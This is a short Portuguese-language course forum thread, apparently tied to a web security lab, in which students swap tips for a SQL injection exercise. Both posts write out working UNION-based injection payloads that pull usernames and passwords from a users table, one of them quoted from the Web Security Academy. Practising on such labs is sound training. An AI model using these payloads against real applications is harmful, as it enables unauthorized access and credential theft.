Solucionado (ver solução)
Solucionado
(ver solução)
2
respostas

[Sugestão] Dica para o comando UNION (laboratório)

Olá pessoal,

Uma dica :)

Caso alguém não consiga acessar a tabela users conforme mostrado na aula, faça o select com o seguinte comando:

PETS' UNION SELECT username, password FROM users --

Irá carregar os usuários e as senhas da tabela users.

Um abraço!

2 respostas

Aconteceu o mesmo problema comigo porém segui o conceito do WebSecurity Academy:

  1. Use the following payload to retrieve the contents of the users table: '+UNION+SELECT+username,+password+FROM+users--
solução!

Interessante também dessa maneira. Valeu d+ :)